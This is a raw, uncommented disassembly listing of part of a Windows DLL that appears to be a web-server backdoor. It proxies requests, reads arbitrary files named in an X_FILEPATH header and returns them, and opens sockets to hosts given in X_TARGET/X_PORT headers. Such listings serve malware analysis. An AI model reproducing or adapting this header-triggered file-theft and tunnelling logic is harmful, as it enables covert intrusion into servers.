mov rcx, rbx
call fcn.180019110
lea rax, [rsp + 0xba0]
cmp rax, rdi
je 0x180004195
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0xba0]
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xcf8]
cmp r8, 8
jb 0x1800041bb
inc r8
mov rdx, qword [rsp + 0xce0]
lea rcx, [rsp + 0xce0]
call fcn.18000a540
mov qword [rsp + 0xcf0], r13
mov qword [rsp + 0xcf8], 7
mov word [rsp + 0xce0], r13w
jmp 0x1800046af
lea r8, [rsp + 0xbc0]
lea rdx, [rsp + 0xc20]
lea rcx, [rsp + 0xf30]
call fcn.18000cdf0
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0xb80]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0xb40]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xb20]
lea r8, [rsp + 0xc40]
mov rdx, rax
lea rcx, [rsp + 0x1ab0]
call fcn.1800117b0
mov rbx, rax
lea rax, [rsp + 0xba0]
cmp rax, rbx
je 0x180004280
lea rcx, [rsp + 0xba0]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xba0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xbb0], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], 0
lea rcx, [rsp + 0x1ab0]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xf48]
cmp r8, 8
jb 0x1800042b4
inc r8
mov rdx, qword [rsp + 0xf30]
lea rcx, [rsp + 0xf30]
call fcn.18000a540
mov qword [rsp + 0xf40], r13
mov qword [rsp + 0xf48], 7
mov word [rsp + 0xf30], r13w
cmp qword [rsp + 0xbb0], 0
je 0x1800046c0
test r12b, r12b
je 0x18000437c
lea r8, [rsp + 0xbe0]
lea rdx, [rsp + 0xb20]
lea rcx, [rsp + 0xf50]
call fcn.18000cdf0
nop
mov rdx, rax
call fcn.180008cb0
lea rcx, [rsp + 0xba0]
cmp rax, rcx
je 0x180004334
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xba0]
mov rcx, rax
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xf68]
cmp r8, 8
jb 0x18000435a
inc r8
mov rdx, qword [rsp + 0xf50]
lea rcx, [rsp + 0xf50]
call fcn.18000a540
mov qword [rsp + 0xf60], r13
mov qword [rsp + 0xf68], 7
mov word [rsp + 0xf50], r13w
jmp 0x1800046af
mov qword [rsp + 0xd10], r13
mov qword [rsp + 0xd18], 7
mov word [rsp + 0xd00], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0xd00]
call fcn.180009b50
nop
lea rbx, [0x180059aa0]
mov qword [rsp + 0x40], rbx
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea rdx, [rsp + 0xd00]
call fcn.180009790
mov rdi, rax
mov rcx, rbx
call fcn.180019110
lea rax, [rsp + 0xba0]
cmp rdi, rax
je 0x18000440a
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xba0]
mov rcx, rdi
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xd18]
cmp r8, 8
jb 0x180004430
inc r8
mov rdx, qword [rsp + 0xd00]
lea rcx, [rsp + 0xd00]
call fcn.18000a540
mov qword [rsp + 0xd10], r13
mov qword [rsp + 0xd18], 7
mov word [rsp + 0xd00], r13w
jmp 0x1800046af
lea r8, [rsp + 0xbc0]
lea rdx, [rsp + 0xc20]
lea rcx, [rsp + 0xf70]
call fcn.18000cdf0
nop
mov rdx, rax
lea rcx, [rsp + 0x1870]
call fcn.1800155f0
nop
mov r8, rax
lea rdx, str.GetFromSource:
lea rcx, [rsp + 0x800]
call fcn.18000cd80
mov rcx, rax
call fcn.180014f20
nop
lea rcx, [rsp + 0x1870]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xf88]
cmp r8, 8
jb 0x1800044d5
inc r8
mov rdx, qword [rsp + 0xf70]
lea rcx, [rsp + 0xf70]
call fcn.18000a540
mov qword [rsp + 0xf80], r13
mov qword [rsp + 0xf88], 7
mov word [rsp + 0xf70], r13w
lea rdx, [rsp + 0xb20]
lea rcx, [rsp + 0x17f0]
call fcn.1800155f0
nop
mov r8, rax
lea rdx, str.X_FORWARDED_HOST:
lea rcx, [rsp + 0x860]
call fcn.18000cd80
mov rcx, rax
call fcn.180014f20
nop
lea rcx, [rsp + 0x17f0]
call fcn.180001c80
lea rdx, [rsp + 0xb40]
lea rcx, [rsp + 0x1a70]
call fcn.1800155f0
nop
mov r8, rax
lea rdx, str.X_FORWARDED_FOR:
lea rcx, [rsp + 0x820]
call fcn.18000cd80
mov rcx, rax
call fcn.180014f20
nop
lea rcx, [rsp + 0x1a70]
call fcn.180001c80
lea rdx, [rsp + 0xb80]
lea rcx, [rsp + 0x1af0]
call fcn.1800155f0
nop
mov r8, rax
lea rdx, str.Referer:
lea rcx, [rsp + 0x600]
call fcn.18000cd80
mov rcx, rax
call fcn.180014f20
nop
lea rcx, [rsp + 0x1af0]
call fcn.180001c80
lea r8, [rsp + 0xbc0]
lea rdx, [rsp + 0xc20]
lea rcx, [rsp + 0xff0]
call fcn.18000cdf0
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0xb80]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0xb40]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xb20]
lea r8, [rsp + 0xc40]
mov rdx, rax
lea rcx, [rsp + 0x1b10]
call fcn.1800117b0
mov rbx, rax
lea rax, [rsp + 0xba0]
cmp rax, rbx
je 0x18000465e
lea rcx, [rsp + 0xba0]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xba0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xbb0], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], 0
lea rcx, [rsp + 0x1b10]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1008]
cmp r8, 8
jb 0x180004692
inc r8
mov rdx, qword [rsp + 0xff0]
lea rcx, [rsp + 0xff0]
call fcn.18000a540
mov qword [rsp + 0x1000], r13
mov qword [rsp + 0x1008], 7
mov word [rsp + 0xff0], r13w
mov rdx, qword [rsp + 0xbb0]
test rdx, rdx
jne 0x18000495e
mov qword [rsp + 0x220], r13
mov qword [rsp + 0x228], socket
mov byte [rsp + 0x210], 0
mov r8d, socket
lea rdx, str.Source_Response_Empty_
lea rcx, [rsp + 0x210]
call fcn.180001d00
lea rcx, [rsp + 0x210]
call fcn.180014f20
nop
lea rcx, [rsp + 0xba0]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xc38]
cmp r8, 8
jb 0x180004738
inc r8
mov rdx, qword [rsp + 0xc20]
lea rcx, [rsp + 0xc20]
call fcn.18000a540
mov qword [rsp + 0xc30], r13
mov qword [rsp + 0xc38], 7
mov word [rsp + 0xc20], r13w
mov r8, qword [rsp + 0xbf8]
cmp r8, 8
jb 0x18000477b
inc r8
mov rdx, qword [rsp + 0xbe0]
lea rcx, [rsp + 0xbe0]
call fcn.18000a540
mov qword [rsp + 0xbf0], r13
mov qword [rsp + 0xbf8], 7
mov word [rsp + 0xbe0], r13w
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x1800047ee
mov rdi, qword [rsp + 0x78]
cmp rbx, rdi
je 0x1800047c6
nop dword [rax]
mov rcx, rbx
call fcn.180009690
add rbx, 0x40
cmp rbx, rdi
jne 0x1800047b0
mov rbx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x80]
sub r8, rbx
sar r8, 6
mov rdx, rbx
call fcn.180009f00
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], r13
mov r8, qword [rsp + 0xc58]
cmp r8, 8
jb 0x180004814
inc r8
mov rdx, qword [rsp + 0xc40]
lea rcx, [rsp + 0xc40]
call fcn.18000a540
mov qword [rsp + 0xc50], r13
mov qword [rsp + 0xc58], 7
mov word [rsp + 0xc40], r13w
mov r8, qword [rsp + 0xb98]
cmp r8, 8
jb 0x180004857
inc r8
mov rdx, qword [rsp + 0xb80]
lea rcx, [rsp + 0xb80]
call fcn.18000a540
mov word [rsp + 0xb80], r13w
mov qword [rsp + 0xb98], 7
mov qword [rsp + 0xb90], r13
lea rcx, [rsp + 0xc60]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc80]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xbd8]
cmp r8, 8
jb 0x1800048b6
inc r8
mov rdx, qword [rsp + 0xbc0]
lea rcx, [rsp + 0xbc0]
call fcn.18000a540
mov word [rsp + 0xbc0], r13w
mov qword [rsp + 0xbd8], 7
mov qword [rsp + 0xbd0], r13
mov r8, qword [rsp + 0xb58]
cmp r8, 8
jb 0x1800048f9
inc r8
mov rdx, qword [rsp + 0xb40]
lea rcx, [rsp + 0xb40]
call fcn.18000a540
mov qword [rsp + 0xb50], r13
mov qword [rsp + 0xb58], 7
mov word [rsp + 0xb40], r13w
mov r8, qword [rsp + 0xb38]
cmp r8, 8
jb 0x18000493c
inc r8
mov rdx, qword [rsp + 0xb20]
lea rcx, [rsp + 0xb20]
call fcn.18000a540
mov qword [rsp + 0xb30], r13
mov qword [rsp + 0xb38], 7
mov word [rsp + 0xb20], r13w
jmp 0x180007a1a
lea rcx, [rsp + 0x1c70]
call fcn.1800022e0
nop
mov r8, rax
lea rdx, str.Source_Response_Len:
lea rcx, [rsp + 0x7e0]
call fcn.18000cd80
mov rcx, rax
call fcn.180014f20
nop
lea rcx, [rsp + 0x1c70]
call fcn.180001c80
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x200], r13
mov qword [rsp + 0x208], socket
mov byte [rsp + 0x1f0], 0
mov r8d, 4
lea rdx, str.html
lea rcx, [rsp + 0x1f0]
call fcn.180001d00
nop
mov qword [rsp + 0x1a0], r13
mov qword [rsp + 0x1a8], socket
mov byte [rsp + 0x190], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xba0]
lea rcx, [rsp + 0x190]
call fcn.180001fd0
nop
mov r9b, 1
lea r8, [rsp + 0x1f0]
lea rdx, [rsp + 0x190]
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0xba0]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xc38]
cmp r8, 8
jb 0x180004a66
inc r8
mov rdx, qword [rsp + 0xc20]
lea rcx, [rsp + 0xc20]
call fcn.18000a540
mov qword [rsp + 0xc30], r13
mov qword [rsp + 0xc38], 7
mov word [rsp + 0xc20], r13w
mov r8, qword [rsp + 0xbf8]
cmp r8, 8
jb 0x180004aa9
inc r8
mov rdx, qword [rsp + 0xbe0]
lea rcx, [rsp + 0xbe0]
call fcn.18000a540
mov qword [rsp + 0xbf0], r13
mov qword [rsp + 0xbf8], 7
mov word [rsp + 0xbe0], r13w
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x180004b1e
mov rdi, qword [rsp + 0x78]
cmp rbx, rdi
je 0x180004af6
nop word [rax + rax]
mov rcx, rbx
call fcn.180009690
add rbx, 0x40
cmp rbx, rdi
jne 0x180004ae0
mov rbx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x80]
sub r8, rbx
sar r8, 6
mov rdx, rbx
call fcn.180009f00
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], r13
mov r8, qword [rsp + 0xc58]
cmp r8, 8
jb 0x180004b44
inc r8
mov rdx, qword [rsp + 0xc40]
lea rcx, [rsp + 0xc40]
call fcn.18000a540
mov qword [rsp + 0xc50], r13
mov qword [rsp + 0xc58], 7
mov word [rsp + 0xc40], r13w
mov r8, qword [rsp + 0xb98]
cmp r8, 8
jb 0x180004b87
inc r8
mov rdx, qword [rsp + 0xb80]
lea rcx, [rsp + 0xb80]
call fcn.18000a540
mov qword [rsp + 0xb90], r13
mov qword [rsp + 0xb98], 7
mov word [rsp + 0xb80], r13w
lea rcx, [rsp + 0xc60]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc80]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xbd8]
cmp r8, 8
jb 0x180004be6
inc r8
mov rdx, qword [rsp + 0xbc0]
lea rcx, [rsp + 0xbc0]
call fcn.18000a540
mov qword [rsp + 0xbd0], r13
mov qword [rsp + 0xbd8], 7
mov word [rsp + 0xbc0], r13w
mov r8, qword [rsp + 0xb58]
cmp r8, 8
jb 0x180004c29
inc r8
mov rdx, qword [rsp + 0xb40]
lea rcx, [rsp + 0xb40]
call fcn.18000a540
mov word [rsp + 0xb40], r13w
mov qword [rsp + 0xb58], 7
mov qword [rsp + 0xb50], r13
mov r8, qword [rsp + 0xb38]
cmp r8, 8
jb 0x180004c6c
inc r8
mov rdx, qword [rsp + 0xb20]
lea rcx, [rsp + 0xb20]
call fcn.18000a540
mov qword [rsp + 0xb30], r13
mov qword [rsp + 0xb38], 7
mov word [rsp + 0xb20], r13w
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, 2
jmp 0x180007a29
test rbx, rbx
je 0x180004cee
cmp rbx, rsi
je 0x180004cc6
nop word [rax + rax]
mov rcx, rbx
call fcn.180009690
add rbx, 0x40
cmp rbx, rsi
jne 0x180004cb0
mov rbx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x80]
sub r8, rbx
sar r8, 6
mov rdx, rbx
call fcn.180009f00
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], r13
mov r8, qword [rsp + 0xc58]
cmp r8, 8
jb 0x180004d14
inc r8
mov rdx, qword [rsp + 0xc40]
lea rcx, [rsp + 0xc40]
call fcn.18000a540
mov qword [rsp + 0xc50], r13
mov qword [rsp + 0xc58], 7
mov word [rsp + 0xc40], r13w
mov r8, qword [rsp + 0xb98]
jmp 0x180004d3e
xor r13d, r13d
jmp 0x180004839
xor r13d, r13d
jmp 0x180004890
xor r13d, r13d
mov qword [rsp + 0x10c0], r13
mov qword [rsp + 0x10c8], 0xf
mov byte [rsp + 0x10b0], r13b
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rsi + r8], r13b
jne 0x180004d70
mov rdx, rsi
lea rcx, [rsp + 0x10b0]
call fcn.180001d00
lea rdx, [rsp + 0x10b0]
call fcn.180008a10
test rax, rax
je 0x180004da4
test r15d, r15d
je 0x180004da4
xor bl, bl
jmp 0x180004da6
mov bl, 1
lea rcx, [rsp + 0x10b0]
call fcn.180001c80
test bl, bl
je 0x180004dff
mov qword [rsp + 0x1e0], r13
mov qword [rsp + 0x1e8], socket
mov byte [rsp + 0x1d0], r13b
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.FUNCTION_GET:_Error
lea rcx, [rsp + 0x1d0]
call fcn.180001d00
lea rcx, [rsp + 0x1d0]
call fcn.180014f20
jmp 0x1800048d3
mov qword [rsp + 0x1040], r13
mov qword [rsp + 0x1048], 0xf
mov byte [rsp + 0x1030], r13b
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rsi + r8], r13b
jne 0x180004e20
mov rdx, rsi
lea rcx, [rsp + 0x1030]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1030]
call fcn.180008aa0
mov ebx, dword [rax]
lea rcx, [rsp + 0x1030]
call fcn.180001c80
add ebx, 0xffffff9a
cmp ebx, 0xf
ja case.0x180004e76.106
movsxd rax, ebx
lea rcx, [0x180000000]
mov eax, dword [rcx + rax*4 + 0x7a58]
add rax, rcx
jmp rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x1c0], r13
mov qword [rsp + 0x1c8], socket
mov byte [rsp + 0x1b0], 0
mov r8, r12
lea rdx, str.plain
lea rcx, [rsp + 0x1b0]
call fcn.180001d00
nop
lea rdx, [0x180059a38]
lea rcx, [rsp + 0x7c0]
call fcn.180015030
nop
mov r9b, 1
lea r8, [rsp + 0x1b0]
mov rdx, rax
mov rcx, r14
call fcn.180012340
mov qword [rsp + 0x180], r13
mov qword [rsp + 0x188], socket
mov byte [rsp + 0x170], 0
xor r8d, r8d
lea rdx, [0x18004c828]
lea rcx, [rsp + 0x170]
call fcn.180001d00
lea r8, [rsp + 0x170]
mov edx, 1
mov rcx, r14
call fcn.180012190
jmp 0x180004c03
call fcn.180015b40
lea rax, [rsp + 0x150]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x160], r13
mov qword [rsp + 0x168], socket
mov byte [rsp + 0x150], 0
mov r8, r12
lea rdx, str.plain
lea rcx, [rsp + 0x150]
call fcn.180001d00
nop
lea rcx, [rsp + 0x1db0]
call fcn.180015700
nop
mov rdx, rax
lea rcx, [rsp + 0x840]
call fcn.180015030
nop
mov r9b, 1
lea r8, [rsp + 0x150]
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x1db0]
call fcn.180001c80
mov qword [rsp + 0x240], r13
mov qword [rsp + 0x248], socket
mov byte [rsp + 0x230], 0
xor r8d, r8d
lea rdx, [0x18004c828]
lea rcx, [rsp + 0x230]
call fcn.180001d00
lea r8, [rsp + 0x230]
mov edx, 1
mov rcx, r14
call fcn.180012190
jmp 0x180004c03
call fcn.180016060
lea rcx, [0x180059aa8]
call fcn.180008dc0
lea rcx, [0x180059ac0]
call fcn.180008dc0
lea rax, [rsp + 0x880]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0x880]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0x1a50]
call fcn.180016980
nop
mov rdx, rax
lea rcx, [rsp + 0x8a0]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x1a50]
call fcn.180001c80
lea rcx, [rsp + 0x8c0]
lea rdx, [0x18004c828]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
jmp 0x180004c89
call fcn.180008fd0
lea rdx, str.Proxy
lea rcx, [rsp + 0x13d0]
call fcn.180009360
nop
lea rcx, [rsp + 0x13d0]
call fcn.1800177e0
nop
lea rcx, [rsp + 0x13d0]
call fcn.1800092b0
lea rax, [rsp + 0x8e0]
mov qword [rsp + 0x40], rax
lea rdx, str.Clear_Rules_Success_
lea rcx, [rsp + 0x13f0]
call fcn.180001c10
nop
lea rdx, str.plain
lea rcx, [rsp + 0x8e0]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x13f0]
lea rcx, [rsp + 0x900]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x13f0]
call fcn.180001c80
lea rcx, [rsp + 0x920]
jmp 0x18000508e
call fcn.180008c40
lea rax, [rsp + 0x940]
mov qword [rsp + 0x40], rax
lea rdx, str.Clear_Cache_Success_
lea rcx, [rsp + 0x1410]
call fcn.180001c10
nop
lea rdx, str.plain
lea rcx, [rsp + 0x940]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1410]
lea rcx, [rsp + 0x960]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x1410]
call fcn.180001c80
lea rcx, [rsp + 0x980]
jmp 0x18000508e
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.0x180004e76.106
mov rdx, rax
lea rcx, [rsp + 0xd90]
call fcn.180001c10
nop
cmp qword [rsp + 0xda0], 0
jne 0x180005267
lea rdx, str.Filepath_can_not_be_empty_
lea rcx, [rsp + 0x9a0]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0xd90]
call fcn.180001c80
jmp 0x1800050ab
lea rdx, [rsp + 0xd90]
lea rcx, [rsp + 0x1050]
call fcn.1800154e0
nop
lea rcx, [rsp + 0x1050]
call fcn.180009270
mov rcx, rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800053e1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x1750]
call fcn.1800022c0
mov rdi, rax
or edx, ebx
lea rcx, [rsp + 0x16f0]
call fcn.1800022a0
mov rbx, rax
lea r8, [rsp + 0xd90]
lea rdx, str.Read_file
lea rcx, [rsp + 0x16d0]
call fcn.18000cc80
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x1690]
call fcn.18000cfe0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1e90]
call fcn.18000d050
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x1e10]
call fcn.18000cfe0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x9c0]
call fcn.18000d050
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1e10]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1e90]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1690]
call fcn.180001c80
nop
lea rcx, [rsp + 0x16d0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x16f0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1750]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1050]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xd90]
call fcn.180001c80
jmp 0x1800050ab
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, eax
call fcn.180020908
mov rdi, rax
mov rcx, rbx
test rax, rax
jne 0x180005429
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.malloc_memory_error_
lea rcx, [rsp + 0x9e0]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
jmp 0x1800053c1
mov dword [rsp + 0x8c], r13d
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x8c]
mov r8d, esi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180005565
lea edx, [rax + 1]
mov rcx, rdi
call fcn.18001aca0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x1a30]
call fcn.1800022c0
mov rdi, rax
mov edx, ebx
lea rcx, [rsp + 0x19b0]
call fcn.1800022a0
mov rbx, rax
lea r8, [rsp + 0xd90]
lea rdx, str.Read_file
lea rcx, [rsp + 0x1950]
call fcn.18000cc80
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x1930]
call fcn.18000cfe0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x18b0]
call fcn.18000d050
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x1890]
call fcn.18000cfe0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xa00]
call fcn.18000d050
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1890]
call fcn.180001c80
nop
lea rcx, [rsp + 0x18b0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1930]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1950]
call fcn.180001c80
nop
lea rcx, [rsp + 0x19b0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1a30]
jmp 0x1800053bb
mov rdx, rdi
lea rcx, [rsp + 0x1430]
call fcn.180001c10
nop
mov edx, 1
mov rcx, rdi
call fcn.18001aca0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0xa20]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0xa20]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1430]
lea rcx, [rsp + 0xa40]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
mov edx, dword [rsp + 0x8c]
lea rcx, [rsp + 0x1ad0]
call fcn.1800022c0
nop
mov r8, rax
lea rdx, str.Read_length:
lea rcx, [rsp + 0xa60]
call fcn.18000cd80
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1ad0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1430]
jmp 0x1800053bb
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x40], rax
lea rdx, str.enif_smees_llA__syas_groeG
lea rcx, [rsp + 0x1450]
call fcn.180001c10
nop
lea rdx, str.plain
lea rcx, [rsp + 0xa80]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1450]
lea rcx, [rsp + 0x1b30]
call fcn.180015350
nop
mov rdx, rax
lea rcx, [rsp + 0xaa0]
call fcn.180015030
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.180012340
nop
lea rcx, [rsp + 0x1b30]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1450]
call fcn.180001c80
lea rcx, [rsp + 0xac0]
jmp 0x18000508e
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_TARGET
mov rcx, rdi
call qword [rax + 0x18]
mov rbx, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.X_PORT
mov rcx, rdi
call qword [r9 + 0x18]
mov r15, rax
test rbx, rbx
je case.0x180004e76.106
test rax, rax
je case.0x180004e76.106
mov edx, 1
mov esi, 2
lea r8d, [rdx + 5]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
jne 0x18000577e
lea rdx, str.INVALID_SOCKET
lea rcx, [rsp + 0xae0]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, esi
jmp 0x180007a29
mov dword [rsp + 0x90], 1
lea r8, [rsp + 0x90]
mov edx, 0x8004667e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x1800057c0
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Set_non_block_mode_error
lea rcx, [rsp + 0xb00]
jmp 0x18000573b
mov rdx, rbx
lea rcx, [rsp + 0xe30]
call fcn.180001c10
nop
mov word [rsp + 0xd40], si
mov rdx, r15
lea rcx, [rsp + 0x1470]
call fcn.180001c10
nop
lea rcx, [rsp + 0x1470]
call fcn.180002220
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0xd42], ax
lea rcx, [rsp + 0x1470]
call fcn.180001c80
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0xd44], eax
cmp eax, 0xffffffff
jne 0x180005981
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, rax
test rax, rax
jne 0x1800058d3
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x1d70]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Parse_IP_failed_:
lea rcx, [rsp + 0x300]
call fcn.18000cd80
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0x1d70]
call fcn.180001c80
nop
lea rcx, [rsp + 0xe30]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, esi
jmp 0x180007a29
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ebx, dword [rcx]
cmp word [rdx + 0x10], 2
jne 0x180005918
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea r8, [rsp + 0xd44]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea rcx, [rsp + 0xe30]
call fcn.1800095b0
jmp 0x180005981
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Unknown_address_type
lea rcx, [rsp + 0x320]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012190
nop
lea rcx, [rsp + 0xe30]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb40]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb20]
call fcn.1800092b0
nop
lea rcx, [rsp + 0xb60]
call fcn.180001c80
mov eax, esi
jmp 0x180007a29
mov r8d, reloc.WS2_32.dll_recv
